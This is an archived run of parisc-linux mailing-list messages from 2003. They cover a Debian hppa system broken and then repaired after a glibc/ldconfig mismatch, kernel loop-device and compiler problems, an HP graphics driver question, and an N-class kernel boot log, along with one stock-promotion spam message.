/bin/sh: /lib/ld.so.1: version `GLIBC_PRIVATE' not found (required by /lib/libc.so.6)
dpkg: error processing rpm (--configure):
 subprocess post-installation script returned error exit status 1
Errors were encountered while processing:
 rpm
E: Sub-process /usr/bin/dpkg returned an error code (1)
root@fw01:/Sources/Debian4fw01# cd ..         

I believe at this moment that I was in chroot :(

root@fw01:/Sources# exit
logout
jso@fw01:~$ dpkg -l
dpkg: /lib/ld.so.1: version `GLIBC_PRIVATE' not found (required by /lib/libc.so.6)
jso@fw01:~$ su -
su: /lib/ld.so.1: version `GLIBC_PRIVATE' not found (required by /lib/libc.so.6)
jso@fw01:~$ ll /lib/ld.so.1
-bash: ll: command not found
jso@fw01:~$ ls -l /lib/ld.so.1
ls: /lib/ld.so.1: version `GLIBC_PRIVATE' not found (required by /lib/libc.so.6)
jso@fw01:~$ 

All idea is well come to recover this system.

Thanks a lot in advance,
    Joel

---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "b.gunreben" <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /dev/loop0 problems in 2.5.x?
Date: Wed, 19 Feb 2003 20:58:23 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <3E53E1DF.5AACBABA@web.de>
References: <20030218041653.GI15855@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622225 21922 80.91.229.3 (22 Nov 2014 02:10:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:25 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 19 13:07:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.web.de (smtp01.web.de [217.72.192.180])
	by dsl2.external.hp.com (Postfix) with ESMTP id 04F79482B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Feb 2003 13:07:07 -0700 (MST)
Original-Received: from c-180-204-136.n.dial.de.ignite.net ([62.180.204.136] helo=web.de)
	by smtp.web.de with asmtp (WEB.DE(Exim) 4.95 #31)
	id 18laUj-0001VB-00
	for parisc-linux@lists.parisc-linux.org; Wed, 19 Feb 2003 21:07:05 +0100
X-Mailer: Mozilla 4.77 [de] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17742

Carlos O'Donell wrote:
> 
> parisc,
> 
> Works in 2.4.x, thinking of moving part of the cluster to 2.5, but I like
> to play with swap over NFS.
> 
> root@node01:/etc# /sbin/losetup /dev/loop0 /swapfile
> ioctl: LOOP_SET_FD: Inappropriate ioctl for device
> root@node01:/etc# uname -a
> Linux node01 2.5.59-pa2 #2 Thu Jan 23 00:49:22 EST 2003 parisc unknown
> unknown GNU/Linux
> 
> Do I need newer tools for playing with 2.5.x on HPPA?
> Loopback is compiled into the kernel, no modules, and I can produce the
> .config if you would like to look :)

I recently started to play around with 2.5.60 kernels. Up to now, I was not
successful in building a working kernel. Especially if the loop device was
compiled in, the kernel panicked in the following device driver (first the
network device, after removing the network device it panicked when
initializing SCSI). Without the loop device, the kernel came up to init, and
panicked then.

I was using gcc (GCC) 3.3-hammer 20030123 from CVS, and this is probably the
reason why my kernels fail. Maybe, you should try several different
compilers to build the kernel. 

If someone has a working for .config for 2.5.60, I would like to try this
configuration with a slightly newer compiler (gcc (GCC) 3.3-hammer 20030205)


Berthold




From - Thu Nov 08 21:26:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dan Baker" <dan_baker@eli.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] X problems...
Date: Wed, 19 Feb 2003 17:42:29 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <003601c2d881$54da7920$830c1bac@vli82k7dbaker>
References: <20030220012101.7198.23807.Mailman@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622225 21924 80.91.229.3 (22 Nov 2014 02:10:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:25 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 19 18:43:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sage.eli.net (sage.eli.net [209.63.203.98])
	by dsl2.external.hp.com (Postfix) with ESMTP id E210C482C
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Feb 2003 18:43:11 -0700 (MST)
Original-Received: from vli82k7dbaker ([209.210.3.17]) by sage.eli.net
          (Netscape Messaging Server 3.6)  with SMTP id AAA7452
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 19 Feb 2003 17:43:09 -0800
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
In-Reply-To: <20030220012101.7198.23807.Mailman@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17743

I've just installed the Debian 3.0 distro on my B2000. I had the usual
problems with consoles and the like. I've thus far been unable to get the
framebuffer device to work. The only docs I've found on it date back to
1999.


BUT, I did download source code for HP's Intel linux visualize driver. I
can't get it to compile, the assembler tells me there's an invalid opcode
(??) in the .o file. I'm not really a programmer, so I'm hoping somebody out
there can take a look at what they're doing and fix it. The files are at

ftp://ftp.hp.com/pub/ccd/soar2sdd/wk207/wk207en/hpgraphics_kernel-1.5.3-1.sr
c.rpm
and
ftp://ftp.hp.com/pub/ccd/soar2sdd/wk207/wk207en/hpgraphics_kernel-1.5.3-1.sr
c.rpm


SO, Any help either with compiling the driver or with configuring the
framebuffer would be appreciated

Dan Baker
Storage Admin
Electric Lightwave, Inc.



From - Thu Nov 08 21:26:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] X problems...
Date: Wed, 19 Feb 2003 22:15:06 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <20030220051506.GA10418@dsl2.external.hp.com>
References: <20030220012101.7198.23807.Mailman@dsl2.external.hp.com> <003601c2d881$54da7920$830c1bac@vli82k7dbaker>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622226 21925 80.91.229.3 (22 Nov 2014 02:10:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Dan Baker <dan_baker@eli.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 19 22:15:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 881EE482A; Wed, 19 Feb 2003 22:15:06 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <003601c2d881$54da7920$830c1bac@vli82k7dbaker>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17744

On Wed, Feb 19, 2003 at 05:42:29PM -0800, Dan Baker wrote:
> BUT, I did download source code for HP's Intel linux visualize driver. I
> can't get it to compile, the assembler tells me there's an invalid opcode
> (??) in the .o file. I'm not really a programmer, so I'm hoping somebody out
> there can take a look at what they're doing and fix it.

Well, it's not that easy even for someone who can read C.

First, some bad news:
o x86 version of the card has extra VGA cruft+BIOS.
  PA-Risc version uses STI firmware for initialization.
o IIRC, the X11 server (or maybe just gfx card driver?) is a custom,
  closed source code.  Hopefully I'm wrong and someone will correct me.
o I'll guess that many (most of the?) interesting bits are in the XF86
  hpgfx driver module. I'm assuming one exists.

Good news: 3d acceleration for x86 cards uses the same RISC engines
as the parisc cards.

Several years ago I asked someone in the HP gfx group if they
could port the HPUX driver to parisc-linux but our port wasn't
ready then (I think it is now). The gfx driver interacts *alot*
with the rest of the kernel *and* the X11 server.
The above is what I remember from conversations with people.

> The files are at
> 
> ftp://ftp.hp.com/pub/ccd/soar2sdd/wk207/wk207en/hpgraphics_kernel-1.5.3-1.sr
> c.rpm
> and
> ftp://ftp.hp.com/pub/ccd/soar2sdd/wk207/wk207en/hpgraphics_kernel-1.5.3-1.sr
> c.rpm

uhm...'cuse me, but aren't those the same?

hth
grant


From - Thu Nov 08 21:26:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tausq@debian.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [hppa-linux, gcc-3.2 regression] ICE when optimizing inline code
Date: Wed, 19 Feb 2003 22:42:11 -0800
Lines: 42
Approved: news@gmane.org
Message-ID: <20030220064211.GD11363__19566.4776525975$1416622226$gmane$org@tausq.org>
Reply-To: tausq@debian.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622226 21931 80.91.229.3 (22 Nov 2014 02:10:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: gcc-gnats@gcc.gnu.org, debian-gcc@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 19 23:51:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 93C024831
	for <parisc-linux@lists.parisc-linux.org>; Wed, 19 Feb 2003 23:51:31 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id A108FCD294; Wed, 19 Feb 2003 22:42:11 -0800 (PST)
Content-Disposition: inline
X-send-pr-version: 3.113
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17745

>Submitter-Id:	net
>Originator:	Randolph Chung
>Organization:	Debian
>Confidential:	no
>Synopsis:	[hppa-linux, gcc-3.2 regression] ICE when optimizing inline code
>Severity:	serious
>Priority:	medium
>Category:	optimization
>Class:		ice-on-legal-code
>Release:	3.2.3 20030210 (Debian prerelease) (Debian testing/unstable)
>Environment:
System: Linux legolas 2.4.20-pa25 #115 Sun Feb 9 20:54:18 PST 2003 parisc unknown unknown GNU/Linux
Architecture: parisc

	<machine, os, target, libraries (multiple lines)>
host: hppa-unknown-linux-gnu
build: hppa-unknown-linux-gnu
target: hppa-unknown-linux-gnu
configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,pascal,objc,ada --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.2 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-clocale=gnu --enable-objc-gc hppa-linux
>Description:
see below

code works with gcc-3.0 and gcc-3.3 snapshot
also works with gcc-3.2 with -O1

>How-To-Repeat:
-------8< cut here 8<---------
inline int fixfloor (long x) { if (x >= 0) return (x >> 16); else return ~((~x) >> 16); }
inline int fixtoi (long x) { return fixfloor(x) + ((x & 0x8000) >> 15); }
int foo(long x, long y) { return fixtoi(x*y); }
-------8< cut here 8<---------

legolas% gcc-3.2 -O2 -c bug.i
bug.i: In function `foo':
bug.i:3: internal error: Segmentation fault
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.

>Fix:
	unknown


From - Thu Nov 08 21:26:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Solved [was: Help, help testing Debian hppa unusable??]
Date: Thu, 20 Feb 2003 10:58:00 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <3E53490E0000066B@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622226 21933 80.91.229.3 (22 Nov 2014 02:10:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 20 02:58:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 11D884830
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Feb 2003 02:58:04 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18lnSs-0003UP-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 20 Feb 2003 10:58:02 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 20 Feb 2003 10:58:00 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17746

Hi all,
>
>I just try to install rpm on my testing Debian hppa and
>...
>Unpacking librpm4 (from .../librpm4_4.0.4-11_hppa.deb) ...
>Selecting previously deselected package rpm.
>Unpacking rpm (from .../archives/rpm_4.0.4-11_hppa.deb) ...
>Setting up librpm4 (4.0.4-11) ...
>
>Setting up rpm (4.0.4-11) ...
>/bin/sh: /lib/ld.so.1: version `GLIBC_PRIVATE' not found (required by /lib/libc.so.6)
>dpkg: error processing rpm (--configure):
> subprocess post-installation script returned error exit status 1
>Errors were encountered while processing:
> rpm
>E: Sub-process /usr/bin/dpkg returned an error code (1)
>root@fw01:/Sources/Debian4fw01# cd ..
>
>I believe at this moment that I was in chroot :(
>
>root@fw01:/Sources# exit
>logout
>jso@fw01:~$ dpkg -l
>dpkg: /lib/ld.so.1: version `GLIBC_PRIVATE' not found (required by /lib/libc.so.6)
>jso@fw01:~$ su -
>su: /lib/ld.so.1: version `GLIBC_PRIVATE' not found (required by /lib/libc.so.6)
>jso@fw01:~$ ll /lib/ld.so.1
>-bash: ll: command not found
>jso@fw01:~$ ls -l /lib/ld.so.1
>ls: /lib/ld.so.1: version `GLIBC_PRIVATE' not found (required by /lib/libc.so.6)
>jso@fw01:~$
>

The error IMHO stand in ldconfig:

I temporary copy libc-2.3.1.so into /lib of this system.

Then when I install librpm (with rpm) the post install do just a ldconfig:
logical.

What I found erronious is that ldconfig changed on its own (without querying
what todo) the link /lib/libc.so.6 -> libc-2.2.5.so (as install by libc6
dpkg) to -> libc-2.3.1.so??

The solution was so to reboot with the original install cd; went into starting
shell menu; mkdir /mnt/Mydir to mount /dev/md2 (my root meta device); reset
the link libc.so.6 -> libc-2.2.5.so into /mnt/Mydir/lib and remove libc-2.3.1.so;
chroot /mnt/Mydir to redo ldconfig and finaly reboot after unmount of /mnt/Mydir.

Cheers,
    Joel



---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Moriah <Live_From_the_Street_99945@uswest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LIVE FROM WALL STREET: TGYC Announces Revised Revenues and Earnings... aklik
Date: Thu, 20 Feb 2003 06:42:11 -0600
Lines: 8
Approved: news@gmane.org
Message-ID: <20030220124327.A92C1482E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622226 21936 80.91.229.3 (22 Nov 2014 02:10:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:26 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 20 05:43:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 217.168.173.72 (pcp01908793pcs.centrl01.va.comcast.net [68.57.40.54])
	by dsl2.external.hp.com (Postfix) with SMTP id A92C1482E
	for <parisc-linux@parisc-linux.org>; Thu, 20 Feb 2003 05:43:27 -0700 (MST)
Original-Received: from unknown (164.203.204.135) by a231242.upc-a.chello.nl with SMTP; Feb, 20 2003 5:27:53 AM -0100
Original-Received: from [106.226.127.61] by n7.groups.yahoo.com with local; Feb, 20 2003 4:24:05 AM -0100
X-Mailer: Microsoft Outlook Express 5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17747

<p>If you bought into our last recommendation (CIMG) early enough you had an excellent opportunity to make substantial gains (from .90 to 1.65 in just the first day).  Now is your chance to do the same with our newest pick: TGYC.  To find out more go to <a href="http://www.sorensonandassociates.com">Live From the Street</a>.</p>
<p align="center"><img border="0" src="http://www.sorensonandassociates.com/bm01.gif"></p>
<p>If you no longer want to receive information from us just go to 
<a href="mailto:tallrhe@cs.com">tallrhe@cs.com</a>.<p>
&nbsp;

ieedhqvbypcwfqltwlmjkoraflcvaqarpeo


From - Thu Nov 08 21:26:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] .config fo a N class?
Date: Thu, 20 Feb 2003 16:19:32 +0100
Lines: 282
Approved: news@gmane.org
Message-ID: <3E54DBA20000009A@ocpmta3.freegates.net>
References: <3E48441000002658@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622227 21938 80.91.229.3 (22 Nov 2014 02:10:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:27 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: grundler@dsl2.external.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 20 08:19:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5FE644832
	for <parisc-linux@parisc-linux.org>; Thu, 20 Feb 2003 08:19:36 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18lsU2-0000lZ-00; Thu, 20 Feb 2003 16:19:34 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 20 Feb 2003 16:19:32 +0100
In-Reply-To: <3E48441000002658@ocpmta7.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17748

>-- Original Message --
>From: "Joel Soete" <jsoe0708@tiscali.be>
>Subject: Re: [parisc-linux] .config fo a N class?
>To: grundler@dsl2.external.hp.com
>Cc: parisc-linux@parisc-linux.org
>Date: Wed, 19 Feb 2003 09:19:49 +0100
>
>>
>>On Mon, Feb 17, 2003 at 06:51:01PM +0100, Joel Soete wrote:
>>> >I grab the config file of the test-drive L model; apply it against current
>>> >k-2.4.20-pa26 (just change 64 to 32 bits).
>>>                             ^^^^^^^^^^^^^ My bad: I would have to remember
>>> that hpux-11 have to be 64bits on L and N servers :?
>>
>>right. But L-class also only supports 64-bit.
>>And you want to disable CONFIG_SMP for N-class and L3000.
>>
>>> Well, for now I just boot with a dpkg kernel-image-2.4.19-64 (up) and
>still
>>> have to see what is wrong with eth0:
>>
>>You were not very clear about the symptom.
>
>Yes, sorry: my first goal was to advise that I reach to boot the N and will
>go later examine this pb.
>
>IIRC to start up this box I first unplug the NIC cable to avoid network
>pb.
>After that I changed the config file to restart the built-in NIC which didn't
>come up? A strange thing that I noticed was that there was not hard led
>lighted.
>
>It should be because the switch disable temporarely the port after the cut
>of the link? I will check further...
>
>>And we need a slightly more accurate description
>>of the kernel-image version number.
>>
>it is the image from kernel-image-2.4.19-64_22.2_hppa.deb
>
>>But this might help you anyway
>>| > cvs log driver/nets/tulip/media.c
>>...
>>| revision 1.14
>>|
>>| date: 2002/10/14 23:34:02;  author: grundler;  state: Exp;  lines: +13
>>-13
>>|
>>| 2.4.19-pa22 Fix tulip phy reset/init
>>| DP83840A.pdf and lxt971d.pdf both require polling
>>| the reset bit (bit 15) in mdio control register to
>>| determine when a reset has completed. Then the
>>| "init" sequence can be sent.
>>
>I will check if I can still find back some sources
>>
>>> eth0 Digital DS21143 Tulip rev 65 at 0x80 ... irq 128
>>>
>>> Is there known problem with this type of NIC?
>>
>>yes - there was. But built-in should work. add-on cards had problems.
>>
>>> Next step would be to install a gcc-64 to recompile the kernel 2.4.20-pa27
>>> and have a new look on this eth0.
>>
>>yes - good plan
>>
Yes it was the best, here is my dmesg (get through NIC):

Linux version 2.4.20-pa27-64 (root@palx2000) (gcc version 3.2.3 20030208
(prerelease)) #1 Wed Feb 19 18:05:47 CET 2003
FP[0] enabled: Rev 1 Model 16
The 64-bit Kernel has started...
Determining PDC firmware type: 64 bit PAT.
model 00005d30 00000491 00000000 00000002 27988e5d 100000f1 00000008 000000b2
000000b2
vers  00000301
CPUID vers 18 rev 11 (0x0000024b)
capabilities 0x1
model 9000/800/N4000-55
Total Memory: 2048 Mb
pagetable_init
On node 0 totalpages: 524288
zone(0): 524288 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=/dev/sda3 HOME=/ console=ttyS0 TERM=vt102 palo_kernel=3/boot/vmlinux-2.4.20-pa27-64
Console: colour dummy device 160x64
Calibrating delay loop... 1097.72 BogoMIPS
Memory: 2043596k available
Dentry cache hash table entries: 131072 (order: 9, 2097152 bytes)
Inode cache hash table entries: 131072 (order: 9, 2097152 bytes)
Mount-cache hash table entries: 32768 (order: 7, 524288 bytes)
Buffer-cache hash table entries: 131072 (order: 8, 1048576 bytes)
Page-cache hash table entries: 262144 (order: 9, 2097152 bytes)
Searching for devices...
Found devices:
1. Memory (1) at 0xfffffffffedc0000 [192], versions 0x90, 0x0, 0x9
2. IKE I/O Bus Converter Merced Port (7) at 0xfffffffffed00000 [0], versions
0x803, 0x0, 0xc
3. Elroy PCI Bridge (13) at 0xffffffffbffe0000 [0/0], versions 0x782, 0x0,
0xa
4. Elroy PCI Bridge (13) at 0xffffffffbffe2000 [0/1], versions 0x782, 0x0,
0xa
